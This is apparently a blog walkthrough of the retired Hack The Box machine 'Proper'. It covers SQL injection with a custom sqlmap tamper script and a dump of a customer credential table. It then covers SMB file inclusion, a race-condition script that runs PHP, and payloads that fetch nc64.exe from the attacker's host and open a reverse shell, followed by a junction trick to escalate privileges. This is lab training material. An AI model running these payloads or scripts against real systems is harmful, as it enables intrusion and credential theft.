This post documents the complete walkthrough of Proper, a retired vulnerable VM created by xct and jkr, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Proper is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.231 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-03-15 01:52:42 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.231

Only one open port? This shit gonna be hard! Let’s do one better with nmap scanning the discovered port to establish its service.

nmap -n -v -Pn -p80 -A --reason 10.10.10.231 -oN nmap.txt
...
PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: OS Tidy Inc.

This is what the site looks like.

Directory/File Enumeration

Let’s see what wfuzz and SecLists has to offer.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404 http://10.10.10.231/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.231/FUZZ
Total requests: 4681

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000717:   301        1 L      10 W       150 Ch      "assets"
000002176:   200        271 L    1016 W     14257 Ch    "index.html"
000002435:   301        1 L      10 W       152 Ch      "licenses"

Total time: 0
Processed Requests: 4681
Filtered Requests: 4678
Requests/sec.: 0

Licenses

I wonder what this is about?

In any case, let’s keep this in view first while we check out other information.

Usernames

I thought I saw some very interesting HTML IDs when I was looking at the HTML source code.

Doesn’t that look like a username? Wait, there’s more…

And this…

Salt

Interestingly, if either parameter (order or h) from the above relative URL is missing, I get the following, what looks like an error message.

From the message, a salt of some kind is exposed. I wonder where does the salt fit in? :thinking:

John the Ripper

Could the MD5 hash a1b30d31d344a5a4e41e8496ccbdd26b be the MD5 digest of the salt combined in some way with the value in the order parameter? To confirm I came up with the following wordlist, in combination with John the Ripper.

id+desc
id%20desc
id desc

These are the dynamic formats in JtR involving MD5.

/opt/john/john --list=subformats | grep md5
Format = dynamic_0   type = dynamic_0: md5($p) (raw-md5)
Format = dynamic_1   type = dynamic_1: md5($p.$s) (joomla)
Format = dynamic_2   type = dynamic_2: md5(md5($p)) (e107)
Format = dynamic_3   type = dynamic_3: md5(md5(md5($p)))
Format = dynamic_4   type = dynamic_4: md5($s.$p) (OSC)
Format = dynamic_5   type = dynamic_5: md5($s.$p.$s)
Format = dynamic_6   type = dynamic_6: md5(md5($p).$s)
Format = dynamic_8   type = dynamic_8: md5(md5($s).$p)
Format = dynamic_9   type = dynamic_9: md5($s.md5($p))
Format = dynamic_10  type = dynamic_10: md5($s.md5($s.$p))
Format = dynamic_11  type = dynamic_11: md5($s.md5($p.$s))
Format = dynamic_12  type = dynamic_12: md5(md5($s).md5($p)) (IPB)
Format = dynamic_13  type = dynamic_13: md5(md5($p).md5($s))
Format = dynamic_14  type = dynamic_14: md5($s.md5($p).$s)
Format = dynamic_15  type = dynamic_15: md5($u.md5($p).$s)
Format = dynamic_16  type = dynamic_16: md5(md5(md5($p).$s).$s2)
Format = dynamic_18  type = dynamic_18: md5($s.Y.$p.0xF7.$s) (Post.Office MD5)
Format = dynamic_19  type = dynamic_19: md5($p) (Cisco PIX)
Format = dynamic_20  type = dynamic_20: md5($p.$s) (Cisco ASA)
Format = dynamic_22  type = dynamic_22: md5(sha1($p))
Format = dynamic_23  type = dynamic_23: sha1(md5($p))
Format = dynamic_29  type = dynamic_29: md5(utf16($p))
Format = dynamic_34  type = dynamic_34: md5(md4($p))
Format = dynamic_39  type = dynamic_39: md5($s.pad16($p)) (net-md5)
UserFormat = dynamic_1001  type = dynamic_1001: md5(md5(md5(md5($p))))
UserFormat = dynamic_1002  type = dynamic_1002: md5(md5(md5(md5(md5($p)))))
UserFormat = dynamic_1003  type = dynamic_1003: md5(md5($p).md5($p))
UserFormat = dynamic_1004  type = dynamic_1004: md5(md5(md5(md5(md5(md5($p))))))
UserFormat = dynamic_1005  type = dynamic_1005: md5(md5(md5(md5(md5(md5(md5($p)))))))
UserFormat = dynamic_1006  type = dynamic_1006: md5(md5(md5(md5(md5(md5(md5(md5($p))))))))
UserFormat = dynamic_1007  type = dynamic_1007: md5(md5($p).$s) (vBulletin)
UserFormat = dynamic_1008  type = dynamic_1008: md5($p.$s) (RADIUS User-Password)
UserFormat = dynamic_1009  type = dynamic_1009: md5($s.$p) (RADIUS Responses)
UserFormat = dynamic_1010  type = dynamic_1010: md5($p null_padded_to_len_100) RAdmin v2.x MD5
UserFormat = dynamic_1011  type = dynamic_1011: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1012  type = dynamic_1012: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1013  type = dynamic_1013: md5($p.PMD5(username)) (webEdition CMS)
UserFormat = dynamic_1014  type = dynamic_1014: md5($p.$s) (long salt)
UserFormat = dynamic_1015  type = dynamic_1015: md5(md5($p.$u).$s) (PostgreSQL 'pass the hash')
UserFormat = dynamic_1016  type = dynamic_1016: md5($p.$s) (long salt)
UserFormat = dynamic_1017  type = dynamic_1017: md5($s.$p) (long salt)
UserFormat = dynamic_1018  type = dynamic_1018: md5(sha1(sha1($p)))
UserFormat = dynamic_1019  type = dynamic_1019: md5(sha1(sha1(md5($p))))
UserFormat = dynamic_1020  type = dynamic_1020: md5(sha1(md5($p)))
UserFormat = dynamic_1021  type = dynamic_1021: md5(sha1(md5(sha1($p))))
UserFormat = dynamic_1022  type = dynamic_1022: md5(sha1(md5(sha1(md5($p)))))
UserFormat = dynamic_1024  type = dynamic_1024: sha1(md5($p)) (hash truncated to length 32)
UserFormat = dynamic_1025  type = dynamic_1025: sha1(md5(md5($p))) (hash truncated to length 32)
UserFormat = dynamic_1034  type = dynamic_1034: md5($p.$u) (PostgreSQL MD5)
UserFormat = dynamic_1300  type = dynamic_1300: md5(md5_raw($p))
UserFormat = dynamic_1350  type = dynamic_1350: md5(md5($s.$p):$s)
UserFormat = dynamic_1401  type = dynamic_1401: md5($u.\nskyper\n.$p) (Skype MD5)
UserFormat = dynamic_1505  type = dynamic_1505: md5($p.$s.md5($p.$s))
UserFormat = dynamic_1506  type = dynamic_1506: md5($u.:XDB:.$p) (Oracle 12c "H" hash)
UserFormat = dynamic_1518  type = dynamic_1518: md5(sha1($p).md5($p).sha1($p))
UserFormat = dynamic_1550  type = dynamic_1550: md5($u.:mongo:.$p) (MONGODB-CR system hash)
UserFormat = dynamic_1551  type = dynamic_1551: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1552  type = dynamic_1552: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1560  type = dynamic_1560: md5($s.$p.$s2) [SocialEngine]
UserFormat = dynamic_2000  type = dynamic_2000: md5($p) (PW > 55 bytes)
UserFormat = dynamic_2001  type = dynamic_2001: md5($p.$s) (joomla) (PW > 23 bytes)
UserFormat = dynamic_2002  type = dynamic_2002: md5(md5($p)) (e107) (PW > 55 bytes)
UserFormat = dynamic_2003  type = dynamic_2003: md5(md5(md5($p))) (PW > 55 bytes)
UserFormat = dynamic_2004  type = dynamic_2004: md5($s.$p) (OSC) (PW > 31 bytes)
UserFormat = dynamic_2005  type = dynamic_2005: md5($s.$p.$s) (PW > 31 bytes)
UserFormat = dynamic_2006  type = dynamic_2006: md5(md5($p).$s) (PW > 55 bytes)
UserFormat = dynamic_2008  type = dynamic_2008: md5(md5($s).$p) (PW > 23 bytes)
UserFormat = dynamic_2009  type = dynamic_2009: md5($s.md5($p)) (salt > 23 bytes)
UserFormat = dynamic_2010  type = dynamic_2010: md5($s.md5($s.$p)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2011  type = dynamic_2011: md5($s.md5($p.$s)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2014  type = dynamic_2014: md5($s.md5($p).$s) (PW > 55 or salt > 11 bytes)

For a start, I’m going with the dynamic format dynamic_1 (md5($p.$s)) and dynamic_4 (md5($s.$p)). The only difference is that the salt $s is appended for one, and prepended for the other.

The hash must be made available to JtR in the following format: <hash>$<salt>

hash
a1b30d31d344a5a4e41e8496ccbdd26b$hie0shah6ooNoim

So, the salt is prepended to the value in the order parameter. I see now…

Database Enumeration with sqlmap

To that end, I wrote the following sqlmap tamper script to enumerate the database.

proper.py
#!/usr/bin/env python

import os
import string
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):

    '''
    Custom tamper script for Proper
    '''

    salt   = b"hie0shah6ooNoim"
    h      = md5(salt + payload.encode()).hexdigest()
    retVal = "%s&h=%s" % (quote_plus(payload), h)

    return retVal

Because I’m tampering the payload and injecting it onto another parameter, I need to use --skip-urlencode switch when detecting the injection technique like so.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=proper --level=3 --risk=3 --skip-urlencode
...
GET parameter 'order' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 521 HTTP(s) requests:
---
Parameter: order (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: order=1 AND 9446=(SELECT (CASE WHEN (9446=9446) THEN 9446 ELSE (SELECT 4188 UNION SELECT 7063) END))-- wAdg

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: order=1 AND (SELECT 9875 FROM (SELECT(SLEEP(5)))YWiP)
---
...
web server operating system: Windows 2019 or 10 or 2016
web application technology: PHP 7.4.1, Microsoft IIS 10.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

And jackpot, we have an injection point and two techniques to boot! Time to dump the good stuff…

Databases

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=proper --level=3 --risk=3 --skip-urlencode --dbms=mysql --dbs --threads=10
...
available databases [3]:
[*] cleaner
[*] information_schema
[*] test

Tables

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=proper --level=3 --risk=3 --skip-urlencode --dbms=mysql -D cleaner --tables --threads=10
...
Database: cleaner
[3 tables]
+-----------+
| customers |
| licenses  |
| products  |
+-----------+

Table - customers

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=proper --level=3 --risk=3 --skip-urlencode --dbms=mysql -D cleaner -T customers --threads=10 --dump
...
Database: cleaner
Table: customers
[29 entries]
+----+------------------------------+----------------------------------------------+----------------------+
| id | login                        | password                                     | customer_name        |
+----+------------------------------+----------------------------------------------+----------------------+
| 1  | [email protected] | 7c6a180b36896a0a8c02787eeafb0e4c (password1) | Vikki Solomon        |
| 2  | [email protected]         | 6cb75f652a9b52798eb6cf2201057c73 (password2) | Neave Stone          |
| 3  | [email protected]    | e10adc3949ba59abbe56e057f20f883e (123456)    | Bertie McEachern     |
| 4  | [email protected]      | 827ccb0eea8a706c4c34a16891f84e7b (12345)     | Jordana Kleiser      |
| 5  | [email protected]    | 25f9e794323b453885f5181f1b624d0b (123456789) | Mariellen Chasemore  |
| 6  | [email protected]        | 5f4dcc3b5aa765d61d8327deb882cf99 (password)  | Gwyneth Dornin       |
| 7  | [email protected]         | f25a2fc72690b780b2a14e140ef6a9e0 (iloveyou)  | Israel Tootell       |
| 8  | [email protected]        | 8afa847f50a716e64932d995c8e7435a (princess)  | Karon Mangham        |
| 9  | [email protected]            | fcea920f7412b5da7be0cf42b8c93759 (1234567)   | Janifer Blinde       |
| 10 | [email protected]   | f806fc5a2a0d5ba2471600758452799c (rockyou)   | Laurens Lenchenko    |
| 11 | [email protected]         | 25d55ad283aa400af464c76d713c07ad (12345678)  | Andreana Austin      |
| 12 | [email protected]       | e99a18c428cb38d5f260853678922e03 (abc123)    | Arnold Feldmesser    |
| 13 | [email protected]    | fc63f87c08d505264caba37514cd0cfd (nicole)    | Adella Huntar        |
| 14 | [email protected]    | aa47f8215c6f30a0dcdb2a36a9f4168e (daniel)    | Trudi Alelsandrovich |
| 15 | [email protected]              | 67881381dbc68d4761230131ae0008f7 (babygirl)  | Ivy Shay             |
| 16 | [email protected]             | d0763edaa9d9bd2a9516280e9044d885 (monkey)    | Alys Callaby         |
| 17 | [email protected]             | 061fba5bdfc076bb7362616668de87c8 (lovely)    | Dorena Aery          |
| 18 | [email protected]     | aae039d6aa239cfc121357a825210fa3 (jessica)   | Amble Alekseicik     |
| 19 | [email protected]           | c33367701511b4f6020ec61ded352059 (654321)    | Lin Ginman           |
| 20 | [email protected]              | 0acf4539a14b3aa27deeb4cbdf6e989f (michael)   | Letty Giorio         |
| 21 | [email protected]             | adff44c5102fca279fce7559abf66fee (ashley)    | Lazarus Bysh         |
| 22 | [email protected]            | d8578edf8458ce06fbc5bb76a58c5ca4 (qwerty)    | Bud Klewer           |
| 23 | [email protected]       | 96e79218965eb72c92a549dd5a330112 (111111)    | Woodrow Strettell    |
| 24 | [email protected]     | edbd0effac3fcc98e725920a512881e0 (iloveu)    | Lila O Doran         |
| 25 | [email protected]      | 670b14728ad9902aecba32e22fa4f6bd (000000)    | Bibbie Pfeffel       |
| 26 | [email protected]      | 2345f10bb948c5665ef91f6773b3e455 (michelle)  | Luce Grimsdell       |
| 27 | [email protected]            | f78f2477e949bee2d12a2c540fb6084f (tigger)    | Lyle Pealing         |
| 28 | [email protected]             | 0571749e2ac330a7455809c6b0e7af90 (sunshine)  | Kimmy Russen         |
| 29 | [email protected]  | c378985d629e99a4e86213db0cd5e70d (chocolate) | Meg Eastmond         |
+----+------------------------------+----------------------------------------------+----------------------+

Table - licenses

I’ll skip this table for obvious reason.

Table - products

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=proper --level=3 --risk=3 --skip-urlencode --dbms=mysql -D cleaner -T products --threads=10 --dump
...
Database: cleaner
Table: products
[9 entries]
+----+-------+--------------------+--------------+----------------+---------------+
| id | price | logo_path          | description  | product_name   | first_release |
+----+-------+--------------------+--------------+----------------+---------------+
| 1  | 0     | shredder-free.png  | Free version | Shredder Free  | 1999-01-19    |
| 2  | 66.99 | shredder-pro.png   | Pro version  | Shredder Pro   | 2010-05-01    |
| 3  | 0     | deduper-free.png   | Free version | Deduper Free   | 2005-12-01    |
| 4  | 99.99 | deduper-pro.png    | Pro version  | Deduper Pro    | 2006-12-01    |
| 5  | 0     | comparer-free.png  | Free version | Comparer Free  | 2002-11-08    |
| 6  | 33.99 | comparer-pro.png   | Pro version  | Comparer Pro   | 2002-11-08    |
| 7  | 0     | cleaner-free.png   | Free version | Cleaner Free   | 2001-09-08    |
| 8  | 45.99 | cleaner-pro.png    | Pro version  | Cleaner Pro    | 2001-11-08    |
| 9  | 0.99  | memdoubler-pro.png | Pro version  | Memdoubler Pro | 1994-04-01    |
+----+-------+--------------------+--------------+----------------+---------------+

Licensing Portal

Using any of the credentials above should log you in the Licensing Portal.

I’m seeing something familiar in the HTML source code.

Suppose I put .. as the theme and generate the corresponding hash, this is what I get.

Remote File Inclusion

It appears that the theme parameter is trying to read header.inc.

I wrote the following shell script to facilitate testing of the theme parameter and the generation of the hash value in h, driven solely by curl.

read.sh
#!/bin/bash

HOST=10.10.10.231
SALT=hie0shah6ooNoim
TRAV=$1
USER=[email protected]
PASS=password1
COOKIE=$(mktemp -u)
PROXY=127.0.0.1:8080

# login
curl -c $COOKIE -s -o /dev/null http://$HOST/licenses/index.php
curl -s \
     -b $COOKIE \
     -o /dev/null \
     -d "username=${USER}&password=${PASS}" \
     http://$HOST/licenses/index.php

# SMB RFI
curl -s \
     -b $COOKIE \
     -G \
     -d "theme=${TRAV}" \
     -d "h=$(echo -n ${SALT}${TRAV} | md5sum | cut -d' ' -f1)" \
     -o /dev/null \
     -x $PROXY \
     http://$HOST/licenses/licenses.php

# clean up
rm -rf $COOKIE

Looks like the theme parameter may be susceptible to remote file inclusion (RFI) vulnerability. Suppose we set up a Python http.server. Let’s see what gives.

./read.sh 'http://10.10.14.73'

Ah, the http:// wrapper is disabled! Let’s try SMB, shall we?

./read.sh '//10.10.14.73'

Let’s set up a fake SMB server with Impacket’s smbserver.py without any credentials, and then request again to see what happens.

Heck, we have PROPER\web authenticating to us with a NetNTLMv2 hash, which can be easily cracked with JtR shown below.

Now, we can set up smbserver.py with credentials and an empty header.inc to simulate an actual SMB share.

Race Condition

If you look at the debug messages in green above, you’ll notice the race condition vulnerability between strpos and include. Suppose we can modify header.inc in real time, we may be able to get include to execute our PHP code.

To that end, I wrote the following shell script to modify header.inc in real time.

race.sh
#!/bin/bash

PAYLOAD=$1

while :; do
    echo hello world > header.inc
    echo "$PAYLOAD"  > header.inc
done

Let’s run the race with <?php phpinfo(); ?> as the payload and this request.

Bingo!

Foothold

Once we have the ability to execute PHP code remotely, we can devise a way to get a reverse shell. I’m going with transfering nc64.exe over to one of the world-writable folders in Windows and run a reverse shell back to me like so.

./race.sh '<?php system("cmd /c powershell iwr http://10.10.14.73/nc64.exe -outf \windows\system32\spool\drivers\color\cute.exe"); ?>'

And then run the reverse shell with nc64.exe.

./race.sh '<?php system("cmd /c start \windows\system32\spool\drivers\color\cute.exe 10.10.14.73 1234 -e cmd.exe"); ?>'

Voila!

The file user.txt is at web’s Desktop.

Privilege Escalation

During enumeration of web’s account, I notice the presence of Cleanup folder in C:\Program Files and in it, three files.

There’s also a Cleanup folder in C:\ProgramData with no files in it.

Reversing client.exe and server.exe

Turns out both binaries are PE executables built with Golang, with the tell-tale sign of an unusually large size for a PE executable and this.

Analysis of client.exe

Reverse engineering of client.exe shows the need to supply an argument in order to “make it do something”.

You can see from above that by supplying a -R and a file path triggers the main_serviceRestore function which in turn calls upon a named pipe client to connect to a named pipe, cleanupPipe.

Further down the control flow graph, this is what’s actually sent across the named pipe.

Analysis of server.exe

Suppose we replicate the behaviors of client.exe and server.exe in a Windows 10 installation. This is what we have determined above.

This is what’s displayed in server.exe.

Hmm, where have I seen C:\ProgramData\Cleanup before? By the way, dGVzdA== is the base64-encoded string of test. On top of that, this is evidence that a named pipe, cleanupPipe is listening for data.

We can send our own data to server.exe with good ol’ command prompt using the echo command like so.

Meanwhile in server.exe, I see this…

Something’s not right. One character is truncated. In any case, all I have to do is to add one more character behind the path. Well, this is what happened. CLEAN removes the file specified in the file path and move it to C:\ProgramData\Cleanup\<base64-encoded file path> and its content encrypted with AES-GCM.

Conversely, RESTORE restores the file back to the original file path by decrypting the file contents and decoding the file path.

Getting root.txt

This gives me an idea. What if we create a symbolic link to C:\Users\Administrator\Desktop, do a CLEAN on that symbolic link + root.txt. This will back up the file at C:\ProgramData\Cleanup. Remove the link and create a real folder and then do a RESTORE. Maybe RESTORE will do us a favor and write the contents of root.txt to that folder and we can simply read the file?

Create directory junction

CLEAN

Remove directory junction and create a real folder

RESTORE

:dancer:

Afterthought

One of the creators of Proper told me that privilege escalation is possible from an arbitrary file write. Indeed, WerTrigger is one such local privilege escalation exploit weaponizing arbitrary file writes using Windows problem reporting framework among others such as UsoDLLLoader and DiagHub.

And there you have it.